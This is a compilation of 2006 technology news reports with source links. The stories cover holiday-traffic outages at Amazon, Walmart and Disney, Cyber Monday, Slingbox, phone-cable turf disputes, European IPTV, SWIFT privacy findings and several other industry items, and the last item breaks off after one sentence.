http://hosted.ap.org/dynamic/stories...11-24-18-49-46





Amazon Downed for 10 Minutes Due to Promotion

Amazon ran a special promotion this week but under-estimated the demand for the product from users with fast connections. At exactly 2pm EST, the offer was open (an Xbox core system at less than half-price). Unfortunately for Amazon, so many people were waiting for the promotion that the entire Amazon website - not just the promotion page - sank without a trace from just before 2pm, to at least 2:12pm. The home page, the product pages, everything, were unavailable.

While attracting a lot of traffic to the amazon pages at once sounds like a good idea we wonder how many amazon shoppers elsewhere in the site abandoned their purchases halfway through after they found their experience destroyed by the vote rush going on in the next room. Was the quid worth the quo? (some people got quite irate).

The poor performance of the amazon site during the giveaway also reflects badly on the Amazon "elastic compute cloud" offering (Amazon EC2) which is designed, supposedly, to offer instant capacity to companies which need to deal with exactly this kind of sudden rush.

On the other hand, this story could just be bad eggs because we didn't get one either.
http://www.dslreports.com/shownews/79839





E-Looking but Little E-Buying on Monday
Louise Story and Michael Barbaro

Petco.com will offer 25 percent discounts, Barnesandnoble.com will give away a travel bag for every $75 purchase and Adidas.com will waive shipping fees on Monday, a day widely touted as the biggest of the year for online merchants.

But is it?

The aggressive marketing tactics — from deep one-day discounts to gifts with purchase — have touched off a lively debate in retailing on the significance of Cyber Monday, as industry boosters now call the Monday after Thanksgiving.

The data from 2005 tell two stories. More consumers visited online retail sites on Cyber Monday than on any other day during the last holiday season, according to Nielsen/NetRatings, which tracks online traffic.

But there was a catch: most were not ready to buy.

As a result, Cyber Monday was only the ninth biggest day for online holiday spending. The top day was Monday, Dec. 12, when consumers forked over $556 million, compared with just $484 million on Cyber Monday, according to comScore Networks, which tracks Internet traffic and purchases.

“Cyber Monday is more hype than reality,” said Marshal Cohen, chief industry analyst at the NPD Group, a retail research firm.

And at least one major online retailer appears to agree, conspicuously sitting out Cyber Monday: Amazon.com, the nation’s biggest Web merchant, is offering no special discounts that day.

Even so, the debate has done little to diminish the industry’s obsession with Cyber Monday, so christened in 2005 by Shop.org, the online retail arm of the National Retail Federation, a trade group.

Shop.org leaders observed that online retailers recorded strong traffic on the Monday after Thanksgiving, when consumers returned to work — and high-speed Internet connections — and spent the day browsing shops online and making their wish lists.

In response, retailers began viewing the day as their best chance to hook online shoppers — an increasingly important slice of the retail industry — and keep them coming back throughout the season.

Only a handful of companies offered special Cyber Monday promotions last year, but dozens of online retailers are expected to participate this time around. “You are going to see a much larger surge this year,” said John Lazarchic, vice president of e-commerce at Petco.

Barnes & Noble is selling half-price DVDs, including “Charlie and the Chocolate Factory” and “The Gilmore Girls.” Home Depot is knocking $50 off the price of a Polaroid 5.1 megapixel camera and MP3 player and $30 off Black & Decker blenders. HSN, the TV shopping network owned by IAC/Interactive, is offering free shipping on hundreds of items with purchases of more than $75.

“When this traffic comes, we don’t want it leaving without making a purchase,” said Jon Kapplow, vice president of multichannel marketing for HSN.com.

That was the problem in 2005. Retailers reported that their sites bustled with traffic as customers jumped online to avoid having to wait in lines. Nielsen NetRatings said at least 27.7 million Americans browsed shops online.

But scores of shoppers left the sites without buying anything.

“When it got named ‘Cyber Monday,’ somehow that got translated to mean the highest day,” said Gian M. Fulgoni, chairman of comScore Networks. “I think there’s been a little goosing of the importance of these days.”

The bulk of holiday spending, he said, occurs in December, not in the last few days of November, though retail analysts disagree about which day is the biggest. Coremetrics and MasterCard each recorded Dec. 5 as the biggest day for purchases. But comScore said it was Dec. 12, and NPD announced it was Dec. 19. The disagreement is caused in part by different policies on when a sale is recorded — when the purchase is made or when the goods are shipped.

Retailers acknowledge that Cyber Monday is as much about promoting merchandise as selling it. “From a P.R. standpoint, naming the day and creating some promotion around it, that helps,” said Greg Foglesong, director of multichannel marketing for Home Depot Direct.

Home Depot did not offer online promotions on Cyber Monday last year, but the retailer plans to do so this year. “We’ve recognized that there’s a buzz around the event, and we want to make sure that we are a destination on that very important day,” Mr. Foglesong said.

Merchants said that with or without their marketing, consumers were turning Cyber Monday into a major event in retailing.

HSN, for example, did not promote Cyber Monday last year. But its Web site saw a dramatic surge in traffic, with the Monday after Thanksgiving becoming the second-most-active day for the site of 2005, said Mr. Kapplow of HSN.

To create even more traffic, HSN will heavily promote its site this year. About a third of HSN.com’s home page will be filled with an ad about the site’s free shipping offer. HSN is also promoting free online shipping on its TV network, and the company is rolling out thousands of videos featuring its products on Google Video over the next several weeks.

Even companies that struggled to convince consumers to buy online last year are trying again in 2006. Danskin is offering free shipping and 25 percent off purchases of more than $100, up from 20 percent off in 2005.

“You don’t have to manage your way through the crowds, you don’t have to worry about finding that item you saw online,” said Eric Nadler, vice president of e-commerce for Danskin. “You can do it at your convenience.”

Meaning, of course, at work.
http://www.nytimes.com/2006/11/24/te...y/24cyber.html





Traffic Disrupts Wal-Mart, Disney, Amazon Web Sites
Anick Jesdanun

High traffic disrupted Wal-Mart Stores Inc.'s Web site for much of today, one of the year's busiest shopping days.

The Walt Disney Co. also had problems handling the rush of online activity today, while Amazon.com Inc.'s site had brief disruptions a day earlier due to a Thanksgiving Day sale on Microsoft Corp.'s Xbox 360 video game machines.

For much of this morning, attempts to open Walmart.com resulted in blank pages, delays or other problems. By early afternoon, visitors were simply told to come back later.

Walmart.com spokeswoman Amy Colella blamed a "higher than anticipated traffic surge."

Black Friday, the day after the Thanksgiving holiday, marks one of the year's busiest days for retailers and the official start of the holiday shopping season.

The Wal-Mart site appeared to be back to normal by mid-afternoon today, after frustrating countless potential shoppers for some 10 hours.

"People who wanted to purchase one of those plasma TVs ... they probably went to a competitor potentially," said Ben Rushlo, senior manager of competitive research at Keynote Systems Inc.

Keynote, which regularly monitors performance at leading Web sites, said its probes began detecting problems at about 3:30 a.m. CST. Throughout the morning, visitors still could access portions of the site but generally ran into difficulty before completing purchases.

For instance, searches that normally take a second or two were taking 30 or 40 seconds, Rushlo said, and attempts to log in or pay for purchases sometimes generated error messages.

Walmart.com is the 21st most popular site in the U.S., with 22.8 million unique visitors in September, according to comScore Media Metrix.

Rushlo said retailers get better each year bracing for the volumes, but they also make their sites increasingly complex, adding 360-degree views of products and other features. Nonetheless, with the exception of Wal-Mart, online retailers were generally performing well.

"There were a few glitches here and there, minor problems," Rushlo said.

He said Amazon.com's troubles were relatively small.

The site was disrupted for about 15 minutes, starting at about 1 p.m. CST Thursday, as the retailer was offering the Xbox 360 to the first 1,000 customers for $100, $200 below the regular retail price.

"We saw dramatically more traffic than what we anticipated," Amazon.com spokesman Craig Berman said today.

The Xbox sold out in 29 seconds, Berman said. Amazon also sold out of discounted Mongoose mountain bikes, Barbie dolls and Amazon Prime memberships with $100 gift certificates in about 15 minutes.

The home page of Disney's shopping site generally loaded fine, but troubles occurred "a couple of clicks into it," said Gary Foster, spokesman for DisneyShopping.com.

He said the site began to experience congestion at about 8 a.m. CST, after a record Thanksgiving Day of sales and Web traffic. He said Disney already was planning to run sales through Sunday night and expects customers to come back.

"I'm fairly certain we will make up for the loss today," he said.

Roughly 137 million people are expected to hit the mall from today to Sunday, according to the National Retail Federation, making it one of the most lucrative weekends for stores.

Millions of people also are expected to shop online starting this weekend. The Monday after Thanksgiving, also known as "Cyber Monday," is expected to be one of the year's biggest online holiday shopping days, as people return to work and shop online using their office computers.
http://www.chron.com/disp/story.mpl/...s/4358356.html





Watch Cable TV on Your Cell Phone? Soon.
Bruce Meyerson

Embracing a technology that has unnerved media and telecommunications companies, a major European wireless provider will let customers watch their home cable TV on a cell phone if they also have a device called the Slingbox back at the house.

3 Group will launch the new service in Britain first, starting Dec. 1, followed by three more of its 11 markets in early 2007, the wireless company announced Thursday.

Two new handsets running on 3's next-generation wireless network will feature the Sling application, which customers can use to watch any channel available on their cable TV at home. The phones also can be used to control a digital video recorder at home, pausing and rewinding live television, playing previously recorded shows, or setting up the DVR to record a program.

The partnership with 3 is a watershed for Sling Media Inc., the first sign of official recognition from the industry "establishment" for a renegade device that the California-based company began selling a year ago. The Slingbox, hooked up simultaneously to a set-top cable box and a broadband connection, can stream live and recorded video over the Internet to any laptop or handheld equipped with SlingPlayer software.

The gadget is the latest in a line of devices that have reshaped the way people watch television over the past few decades.

Before the VCR, catching a TV show required viewers to conform to a schedule set by networks. More recently, digital video recorders such as the TiVo made it possible to skip commercials and even rewind a live program. Now devices and software like the Sling not only make it possible to watch TV anytime but also anywhere.

But much as TV networks and movie companies initially questioned the rights of viewers to record their content on a TiVo, they also have objected to the notion that monthly cable fees paid by subscribers entitle them to view cable programming in more than one location.

In the case of TiVo, however, cable companies quickly moved past their objections and began offering DVRs of their own to customers, generating new revenue.

Slingbox presents a potential problem not only for the media companies that own the content, but for phone and cable companies worried that streaming video and other high-bandwidth uses may clog their networks - while generating no extra revenue for them.
In the United States, for example, Verizon Wireless and other cellular companies put clauses in their contracts restricting the way subscribers can use their wireless Internet connections on phones and laptops.

3, a unit of Hong Kong-based Hutchison Whampoa Ltd., plans to offer Sling access as part of a premium service called X-Services, though usage will not be unlimited. Details of the pricing and additional fees for extra bandwidth use were not immediately available.

The British version of the Slingbox sells for 180 pounds ($340). The first two 3 handsets loaded with the SlingPlayer software will be the Nokia N73 and the Sony Ericsson w950i. Prices weren't disclosed.

3 also didn't say where it would offer Sling next. It has upgraded its wireless network with the required broadband technology in Italy, Australia, Austria, Sweden, Denmark, Hong Kong, Israel and Ireland.
http://hosted.ap.org/dynamic/stories...11-16-02-05-27





Phone vs. Cable: Turf Wars Escalate
Ken Belson and Vikas Bajaj

Bees swarmed around Dennis Pappas as he pried open the door to a telephone equipment box belonging to Qwest Communications at an apartment building here recently. Inside, the insects had built a small but seemingly busy hive.

The bees called the box home because workers from Cox Communications, a local cable provider, did not properly plug a hole in it when they switched customers in the building over to Cox’s phone service, said Mr. Pappas, a public policy chief at Qwest, the local phone company. As a result, Qwest had to bring in a contractor to undertake the risky task of removing the hive.

It may sound like a small thing, but Qwest says the infested box is just one of many pieces of equipment that Cox has damaged or misused. It says Cox has left wires exposed and improperly grounded cables, hazards that could disrupt phone service or hurt customers and workers. Qwest even argues that the damage is part of a plan to make it harder to sign up customers it lost to Cox.

Technicians who came to Qwest from Cox said “that their instructions were to make it as tough for Qwest to win back the customer as possible,” Mr. Pappas said.

Cox says Qwest is exaggerating the scope of the damage, and it says there are many explanations for the problems — including improper maintenance by Qwest’s own workers. Cox also insists it fixes any damage brought to its attention.

There has been an outbreak of this kind of finger-pointing across the country lately, a product of the increasingly bitter turf war between phone and cable companies. After decades of relative peace and separation, friction is growing as cable providers sell more phone lines and phone companies get into the video business.

For the most part, the sparring has been limited to advertising campaigns and promotional offers. But here in Phoenix, where Cox has stolen nearly a third of the residential phone business from Qwest, the rancor has escalated. In January, Qwest filed complaints with state regulators over the equipment problems, leading to a protracted legal standoff and public backbiting.

Given the disputes over who did what, and the lack of any central records, it is hard to say how much these incidents are actually hurting the cable and phone industries, or their customers. But complaints by the companies are clearly on the rise.

AT&T has fought with Cox in Oklahoma and Time Warner Cable in Texas. In Maryland, Verizon has accused Comcast of shoddy work and vice versa. BellSouth says problems have cropped up with Cox in Louisiana. Cable companies have as many complaints about the Bells.

In some cases, cable and phone companies accuse one another of ripping out equipment. In others, wires were reportedly left exposed and ungrounded.

Elsewhere, Verizon asserts that dozens of times this year, Comcast and other cable providers ran their wires down phone company pipes instead of installing separate conduits. Verizon said that in one case it sent a letter to Comcast asking that the practice be stopped, but that the paperwork and repairs that followed not only cost hundreds of dollars, but delayed installations for its customers.

“As we enter a more competitive world with them, we see these occur more often,” said Chris Creager, who oversees Verizon’s phone network in Virginia, West Virginia, Maryland and the District of Columbia. “It’s kind of the Wild West some days.”

A Comcast spokeswoman, Beth Bacha, said that inadvertently using another company’s conduits was “a fairly common and easy-to-correct, non-customer-impacting mistake,” and that Comcast had immediately addressed Verizon’s complaints. She added that Verizon had made thousands of cuts in Comcast’s cables, generating $1.4 million in damages.

In Phoenix, one of the country’s fastest-growing and most hotly contested markets, Cox says the accusations by Qwest are evidence of Qwest’s desperation. It says Qwest is so worried about the loss of tens of thousands of customers that it is throwing up legal smokescreens and ignoring that Cox has corrected problems brought to its attention.

“Clearly, we’ve been in business and been successful; we’ve won our J. D. Power awards,” said Douglas Garrett, Cox’s vice president for regulatory issues. J. D. Power, which measures customer satisfaction, ranked Cox as the best phone company in the northeast, southwest and west this year. It has nearly 950,000 cable customers in Arizona.

“The way we win customers is to provide good service.” Mr. Garrett said. “You can’t win customers by damaging competitors’ equipment.”

Cox also argues that some of the damage Qwest says is caused by its workers is often indistinguishable from the harm caused to equipment by vandals, bad weather and regular wear and tear.

Not to be outdone, Cox has built up its own collection of photos of equipment that it says Qwest damaged or misused. The problems include 39 instances of Qwest installers tapping into the plastic conduit through which Cox threads its cable wires. The practice appears to be a way for Qwest to avoid the time and cost of installing its own conduit, said Mark A. DiNunzio, a director of regulatory affairs for Cox in Phoenix.

“But we don’t run to the Arizona Corporation Commission when we discover it,” he said, referring to the state’s utility regulator. “We try to resolve it on a business-to-business basis.”

Qwest acknowledges that some of its contractors have improperly used Cox conduits and says it has corrected those transgressions. But Qwest officials say the problem is far smaller than the damage it says Cox is responsible for.

These kinds of spats are hardly new. After the Telecommunications Act of 1996, upstart phone companies like Covad accused the Bells of blocking access to their switching stations, making it harder for rivals to sign up new customers. Decades earlier, phone and even telegraph companies butted heads over access to equipment and customers.

“This is an age-old problem,” said Richard Nespola, chief executive of the Management Network Group, a telecommunications consultant. “As long as people share facilities, the finger pointing will continue. It’s a competitive business and everyone accuses everyone.”

While workers certainly make mistakes, these are often isolated issues, and damage is rarely the result of malice, Mr. Nespola said. For most companies, equipment damage and misplaced wiring are often unavoidable in a market where rivals either share equipment or keep it side-by-side, he said. This is particularly true in apartment complexes and office towers that have hundreds if not thousands of phone lines.

What is different now is that the contest is a two-way slugfest between powerful and sophisticated companies with deep pockets and a lot more to lose. The start-ups that were born in the wake of regulatory changes have largely faded as a threat, particularly in the last year, as Bell companies bought their two biggest rivals, AT&T and MCI.

Now, the Bells’ chief competitors are Time Warner Cable, Comcast and other cable providers that have the technology, armies of installers and marketing budgets to lure away video and phone customers. By the end of the year, for instance, cable operators will have nearly nine million phone subscribers, up about 58 percent from 2005, said Craig Moffett, an analyst at Sanford Bernstein.

Internet phone start-ups including Vonage and SunRocket have several million more customers, many of whom came from Verizon, AT&T and other Bell companies.

The Bell companies assert that their complaints are not just sour grapes. Instead, they are an effort to cut down on costly repairs and interruptions in customer service. In a filing with Arizona regulators in January, Qwest said that since 2004 its technicians had been dispatched more than 7,900 times to fix equipment damaged by Cox, repairs that cost nearly half a million dollars.

“Even though they’ve admitted to what they are doing, getting them to stop it and certify it has not been easy,” said R. Steven Davis, Qwest’s deputy general counsel. “When a company turns a blind eye to activity that is wrong, it becomes intentional.”

Qwest is also taking its case to the news media. Mr. Pappas spent two hours last month driving around Phoenix to show a reporter the damage to Qwest’s property. The telephone boxes he visited had a few exposed wires, small unsealed holes and what Mr. Pappas said was improper grounding of Cox electrical wires to Qwest equipment.

In many other cases, the companies resolve their differences on an ad hoc basis before they blow up into legal fights. In San Antonio, for instance, AT&T says it found instances where Time Warner Cable installers cut phone company wires when trying to install their own voice service.

AT&T technicians must repair the equipment, which costs about $200 a job, according to Randy Tomlin, senior vice president of network operations planning at AT&T.

“You’d have to have service in that house for multiple years to recover that money,” Mr. Tomlin said, adding that similar problems had cropped up in California, Illinois and Wisconsin. Though reports of damage are infrequent, “as competition continues, the opportunities for this to occur increase,” he said.

A spokesman for Time Warner Cable, Mark Harrad, confirmed that there had been problems with cut wires in San Antonio, but he said they had been fixed. He added that at times, AT&T had damaged its equipment when installing its new U-Verse television service.

In Phoenix, Qwest and Cox are now arguing in front of regulators about how to determine the scope of the reported damage and how to repair it. If an independent audit is performed, it could take about a year to complete, after which regulators would have to decide whether there was any wrongdoing and set any compensation.

In the meantime, Cox and Qwest continue to battle for each other’s customers in more conventional ways.

Cox is offering customers in Phoenix a discounted package of digital cable, phone and high-speed Internet service for $99.95 a month, while Qwest is selling a comparable package, with the help of DirecTV, for about $92.97 a month. Which package consumers choose will likely have little to do with the companies’ disputes in the field.

“If this is not competition, then I don’t know what it is,” said Scott Simanson, vice president and general manager for Qwest’s operation in Arizona.

Ken Belson reported from New York and Vikas Bajaj from Phoenix.
http://www.nytimes.com/2006/11/24/bu.../24damage.html





Ban on MP3 Transmitters is Lifted

Ofcom is legalising the use of FM transmitters that allow iPods and other MP3 players to play through car radios.

The use of devices, such as Griffin's "iTrip", was banned in the UK as their transmissions can interfere with broadcasts by legal radio stations.

However, the device and other similar accessories for MP3 players have been widely available online.

Now certain FM transmitters, which can be tuned to spare frequencies, will be legal from 8 December.

Ofcom will also remove the need for a licence to use Citizens' Band radio.

The regulator's move follows a public consultation exercise.

Stamp of approval

The devices fell foul of the Wireless Telegraphy Act of 1949, which forbids the use of radio equipment without a licence or an exemption.

But strong consumer demand for the devices led Ofcom to rethink the legislation

Liberal Democrat MPs were also prominent in asking for iTrips and similar devices to be legalised.

The new Wireless Telegraphy (Exemption) (Amendment) Regulations 2006 mean that certain low-power transmitters will now be legal.

However, many devices currently on the market will remain illegal as they do not meet the legally required technical specifications and could interfere with radio broadcasts.

The new amendments will also reflect a European standard on the low-power transmitters.

All approved transmitters will carry a CE mark indicating approval for sale in the European Union.
http://news.bbc.co.uk/go/pr/fr/-/1/h...cs/6177820.stm





EU Probes Tax-Break Plan for Video Games
AP

European Union regulators said Wednesday they're investigating France's proposed tax break for video game makers to see if it's an illegal subsidy.

France wants to give a tax credit worth 20 percent of the cost of making video games with cultural value - saying these must satisfy a test that the games provide a quality and original contribution to "European cultural diversity and creativity."

French officials say video games can be as artful as cinema. But the European Commission said the standards were so broad they could include video games that are not strictly cultural.

"At this stage, it cannot be ruled out, for example, that simulation video games or video games based on motor car races might benefit from the measure," it said.
Regulators also said they needed to check if the tax break might give an unfair advantage to French companies over rivals in other EU countries.

The EU executive is responsible for upholding laws that prohibit governments from favoring one sector, or one company, over others in Europe. Subsidies to support art and culture are only allowed within a strict set of circumstances.
http://hosted.ap.org/dynamic/stories...11-22-15-43-02





Europe Telecoms Eye Internet Protocol TV
Toby Sterling

Dutchman Wart Fransen points a remote control at a little box atop his television and firmly presses down on the button to change the station.

There's a delay of about a half-second, and then the new channel comes on. The image is frozen in place for an instant before it begins to run smoothly.

Fransen is now watching TV over his telephone line, a technological marvel. But he's not that impressed.

"I use it now and again, definitely for soccer," he says of the service that came bundled with his 40-euro ($50) per month high-speed Internet connection. "The remote is really slow. But I think the image is better than cable."

European phone companies, like their American and Asian counterparts, are dreaming of a future in television using a technology known as Internet Protocol TV, or IPTV. Most of these companies are boosting the capacity of their copper phone wires with next-generation versions of DSL broadband technology, though some homes are getting IPTV service over new fiber-optic cables.

The foray into video is a counter-strike against the cable TV companies that have broken into the phone business using another IP technology known as Voice over IP, or VoIP, stealing customers and driving down prices. Yet despite the obvious business logic of returning fire with television, phone companies face a greater challenge, as IPTV and video over DSL are relatively unproven technologies as compared with VoIP.

Even so, while IPTV is just getting off the ground in the United States through AT&T Inc. and some rural phone companies, European and Asian carriers have already built a substantial base of television customers.

By the end of 2006, the number of IPTV subscribers in Europe is expected to reach 3.3 million, up from less than a million a year earlier, the Gartner Group estimates. The research company forecasts that number will double in 2007 and mushroom to 17 million by the end of 2010.

Hong Kong's PCCW Ltd. is the world's largest IPTV company with more than 650,000 customers. France has the most IPTV subscribers of any country with more than 1.6 million as of earlier this year, spread between France Telecom SA and startups like Iliad SA and Neuf Cegetel SA. Spain's Telefonica SA claims more than 300,000 users.

More recently, Swisscom AG launched subscription TV in Switzerland, while Germany's Deutsche Telekom AG introduced the service in Germany, France, Hungary and Croatia. Both Swisscom and DT, as well as AT&T, are using an IPTV platform from Microsoft Corp., confident they have resolved software and hardware glitches that slowed their deployments. Britain's BT Group PLC is expected to launch Microsoft-based IPTV services soon.

"A number of pieces are falling into place at the same time," Gartner analyst Adam Daum said, calling his firm's projections for the IPTV market "conservative."

As compared with the United States, where phone and cable companies are looking to reap $100 or more per month for a "triple-play" of phone, television and Internet service, most European telecoms are planning to charge just 30 euros to 50 euros ($38-$63) for the bundle.

Daum said the European companies see IPTV as a tool to lure cable customers and then generate new revenue later by selling premium services such as movies on demand and specialty sports packages.

"Many subscribers hate their cable companies, and at least 10-to-15 percent would be willing to leave immediately if they were offered a choice," he said.

IPTV breaks down a video stream into data packets, similar to those used for most other online traffic, from e-mail to Web pages and music downloads. The video packets are sent to a set-top box that acts as a decoder, the end result looking and feeling a lot like cable TV.

One European telecom frequently cited as an IPTV success story is Italy's FastWeb SpA, which has roughly 200,000 subscribers and forecasts it will turn a profit in 2007.

But any number of things could go wrong, as evidenced by VersaTel. The money-losing Dutch carrier failed to meet its targets and is now in the process of being acquired by Sweden's Tele2 AB, another alternative telecom.

VersaTel is controlled by tycoon John de Mol, creator of the "Big Brother" reality series. It began its IPTV rollout midway through 2005 after buying exclusive rights to broadcast Dutch soccer games for three seasons.

Sports are seen as the perfect fit for IPTV, since fans are prepared to pay to watch live games, and matches are not as vulnerable to pirating as movies: once the final score is known, nobody wants to see anything but the highlights.

But VersaTel only recently surpassed the 100,000-subscriber mark it had set as its goal for the end of 2005, suggesting the company may have overestimated the importance of sports.

Fransen, a VersaTel customer, says he bought his subscription simply because it was the fastest Internet connection available at that time. The co-founder of a Web site traffic measurement company called Opentracker.net, he frequently works from home and the soccer was "a nice bonus," he said.

But he also has kept his slower cable Internet connection as backup for 20 euros ($25) per month, and said he'd rather drop the IPTV service than pay more.

Meanwhile there's the problem of the remote controls, which got a highly publicized negative review from the Dutch Consumer Protection Agency.

VersaTel spokesman Remco Meerstra insisted its IPTV rollout was "going well," and complaints about the remote were misguided. "It's reacting fast, but it is slower than normal analogue," he said.

There are other potential pitfalls.

One is Microsoft, which despite devoting tremendous energy to IPTV also hopes its Windows Media Center software will enable computers to fill the same role as set top boxes, bypassing the telecom companies to watch video over the Internet.

Another threat comes from Amazon.com Inc. and Apple Computer Inc.'s iTunes, both of which recently began selling movie downloads. The explosive growth of free video from YouTube and other Web sites may prove even more dangerous if consumers find different ways to route that media from computer to TV.

Rudy Roth, a strategist at Royal Philips Electronics NV, one of the world's largest television and set-top box makers, said some telcos will succeed with IPTV.

He argues that the video offered by the telecoms will be more reliable and of better quality than what's currently available on the Internet.

"Bandwidth isn't the only issue. You have to think about quality of service and ease of use," Roth said.

As cable operators do, AT&T and European phone companies are designing their networks to give preferential treatment to their own video traffic as a way to ensure quality.

Some critics have called for governments to adopt "Net Neutrality" rules that would restrict such practices so that consumers are free to choose providers without worries about quality.

But so far, officials in the United States and Europe haven't seen the need to impose new laws or regulations. In April, the European Commission said it would "closely monitor attempts to call into question the neutral character of the Internet."
http://hosted.ap.org/dynamic/stories...11-19-17-51-35





Report: Data Agency Broke Privacy Laws
Constant Brand

A report by an EU panel released Thursday said the bank data transfer agency SWIFT broke European privacy laws by handing over personal data to U.S. authorities for use in anti-terror investigations.

The Belgian-based company, the Society for Worldwide Interbank Financial Telecommunication, "committed violations of data protection laws" by secretly transferring data to the United States, without properly informing Belgian authorities, the EU's data protection panel said.

The panel's report calls on SWIFT, financial institutions and EU authorities to "take the necessary measures" to end the transfer, which it said contradicts Belgian and EU data protection rules. SWIFT is still transferring data under U.S. subpoenas.

EU spokeswoman Pia Ahrenkilde Hansen said the report was adopted unanimously by the 25-member panel which also chided the role of the European Central Bank in the affair. It demanded clarification from the ECB over its role in the affair. ECB President Jean-Claude Trichet has acknowledged his bank knew of the transfers but could not prevent them.

"SWIFT is expected as well as financial institutions to take the necessary steps immediately to remedy the present illegal infringement," Ahrenkilde Hansen said, adding the group will monitor the implementation of the recommendation by SWIFT and the ECB and other national banks which sit on SWIFT's oversight board.

The data protection officers have been drafting their report since September and their conclusions come as no surprise following a similar finding by a Belgian commission, which was tasked by the Belgian government and the EU panel to investigate SWIFT's secret deal with the U.S. Treasury.

The European Commission, which could eventually launch a legal case against Belgium for failing to uphold EU data protection rules, has said it would await the final report of the EU data protection officers before deciding what action to take.

Ahrenkilde Hansen said the Commission would "ensure correct implementation" of EU data protection rules.

Belgian political leaders have already called on the EU to negotiate with the United States on fixing the apparent legal limbo SWIFT finds itself in.

The EU panel report echoes the Belgian report which said that while the company did all it could to live up to Belgian, EU and U.S. regulations to hand over the requested information, it finds itself in a legal black hole.

The company routes about 11 million financial transactions daily between 7,800 banks and other financial institutions in 200 countries, recording customer names, account numbers and other identifying information.

SWIFT and top European bankers told a European Parliament committee last month it had no power to prevent the transfer of personal data to U.S. authorities.

The company and Trichet called for the EU to sit down with Washington and draft a new global deal to fix the legal quagmire which now exists over the transfer deal.

The transfer deal between the U.S. Treasury and SWIFT was launched by Washington after the Sept. 11 attacks.

The SWIFT case compounds legal and political clashes between Europe and the United States over anti-terror measures and highlights divisions over what lengths governments should go to in order to prevent attacks.

SWIFT officials have argued that it had no choice but to abide by U.S. subpoenas for bank data, saying that if it refused to hand over the information, it would have faced fines and possible criminal penalties like jail time.

"It is disturbing that none of the involved parties is willing to take responsibility for the failure to protect the rights of EU citizens," said Kathalijne Buitenweg, a Dutch Green member of the European Parliament. She called for a clarification of ECB and national bank rules in ensuring they report all violations of EU privacy laws.
http://hosted.ap.org/dynamic/stories...11-23-11-20-32





Britain Kills EU Attempt to Regulate Net Video Clips
Owen Gibson

The British government is set to fight off proposed European rules that would make it responsible for overseeing taste and decency in video clips on sites such as YouTube and MySpace.

Under a clause in the European media regulation directive TV Without Frontiers, national governments would be responsible for regulating the internet for the first time. Britain's media watchdog, Ofcom, backed by the culture secretary, Tessa Jowell, argued that the plan was unworkable and would stifle creativity and investment in new media across Europe.

Ofcom said internet users should be left to police themselves within the bounds of the law. Because internet technology does not respect borders, it argued, users would simply turn instead to websites in the US and elsewhere. In a statement of "general approach" before a vote in the EU assembly, the council of ministers yesterday bowed to pressure to limit government oversight to "TV-like" services on the web. That means Ofcom will regulate TV-style video downloads from major broadcasters, but not video clips on social networking websites.

When it first objected, Ofcom had the support of only a handful of other EU member states, but it has since won them over. "Today's outcome is testament to the substantial progress we have made in persuading our European partners to take our arguments on board," said the creative industries minister, Shaun Woodward. Britain also won majority support for its line on the "country of origin" principle, which makes national regulators responsible for broadcasters operating from within their borders.
http://technology.guardian.co.uk/new...947176,00.html





New AOL Chairman Sees Parallels With TV
Anick Jesdanun

The incoming head of AOL said Tuesday he left a 31-year career at NBC for the chance to transform the online business into a formidable rival to television and other traditional media.

Randy Falco said he'll start Monday as AOL LLC's chairman and chief executive after being lured last week from NBC Universal Television Group, where he was president and chief operating officer.

"I'm fascinated by the Internet space," Falco told The Associated Press. "I see it as a very exciting environment to be in. It reminds me a lot about network television 30 years ago. It's a little bit like the Wild West. There aren't a lot of rules. That's what excites me about it."

He said online advertising should grow 20 percent to 30 percent a year industrywide, drawing dollars that might normally go to traditional media, including his former employer.

Falco, 52, replaces Jonathan Miller, who is leaving AOL following the surprise executive shuffle by AOL parent Time Warner Inc.

On Tuesday, Time Warner named its senior vice president of operations, Ron Grant, as AOL's president and chief operating officer, a new position. Grant, 40, also starts Monday.

Falco and Grant join AOL less than four months after Time Warner announced that following years of decline in AOL's core Internet access business, the company would give away AOL.com e-mail accounts, software and other features once reserved for paying customers in a more aggressive chase for advertising dollars.

Although Time Warner executives had been supportive of Miller's efforts to set AOL on a new course, they sought someone with operational experience to execute the plan.

Unlike Miller, who previously worked for a company that provided information and Internet services, Falco has no direct experience with an online company, having worked in television - specifically at NBC - since graduating from college in 1975.

But Falco, granting interviews to media organizations for the first time since his appointment, said "everybody in traditional media suddenly has online experience. If you don't you quickly get left behind."

At NBC, owned by General Electric Co., Falco said he helped create the network's Olympics site and forge a partnership between Yahoo Inc. and NBC's Spanish-language Telemundo.

Falco said he does not expect any major changes in personnel or strategy at AOL, adding that his initial duties will be to make sure the existing team at AOL is focused and on message.

AOL "employed the right strategy going forward ... (and) has nothing but upside," Falco said.

Time Warner shares rose 10 cents to close Tuesday at $20.68 on the New York Stock Exchange.
http://hosted.ap.org/dynamic/stories...11-21-18-48-21





China Court Rules for Baidu on Downloading

Chinese Internet search leader Baidu.com has been cleared of helping users to download music illegally in a case brought by some of the world's largest music companies, an industry group said on Friday.

The International Federation of the Phonographic Industry, which estimates that about 85 percent of all music consumed in China is pirated, said it would appeal against the ruling and was confident it would be overturned.

"I am amazed by this inexplicable judgement that is totally out of step with Chinese law," IFPI chairman John Kennedy said in a statement.

An IFPI official said the No. 1 Intermediate Court of Beijing handed down the decision. Court officials and Baidu executives were unavailable for comment.

The IFPI, which represents the world's music companies, said the case against Baidu had been filed on behalf of EMI Group Plc., Vivendi's Universal Music Group, Warner Music Group and Sony BMG.

The trade group has also blasted Yahoo China's search engine for providing links to Web sites that offer unlicensed music downloads.
http://uk.news.yahoo.com/17112006/80...wnloading.html





Webroot Adding Parental-Control Software
AP

Webroot Software Inc., known for its anti-spyware program Spy Sweeper, is bringing back a product to help parents limit where and how long their children go online.

Child Safe joins Web filtering programs like Net Nanny, CYBERsitter and ContentProtect in the parental-control arena. The program is listed for $39.95 for a one-year subscription for use on up to three computers.

One of Webroot's early products was a similar program, but it was discontinued because demand at the time wasn't heavy. Amid concerns of online predators finding teens through social networking sites or chat rooms, the time is right to bring it out again, CEO David Moll said.

Child Safe allows parents to create profiles for each computer user, and then set what sites or types of sites each profile can visit and when. It also reports on computer users' activity.

The goal was to make a program a child couldn't disable but that was still easy to use.

"It's not for the savvy Internet user. It's a product for the savvy Internet user's parents," Webroot Chief Operating Officer Mike Irwin said.

Best Buy Co. is partnering with Webroot to sell Child Safe.
http://hosted.ap.org/dynamic/stories...11-20-02-02-25





ACLU Sues Rural Libraries over Internet Filtering Policies
AP

A rural library district was sued Thursday by the American Civil Liberties Union over its Internet filtering policy.

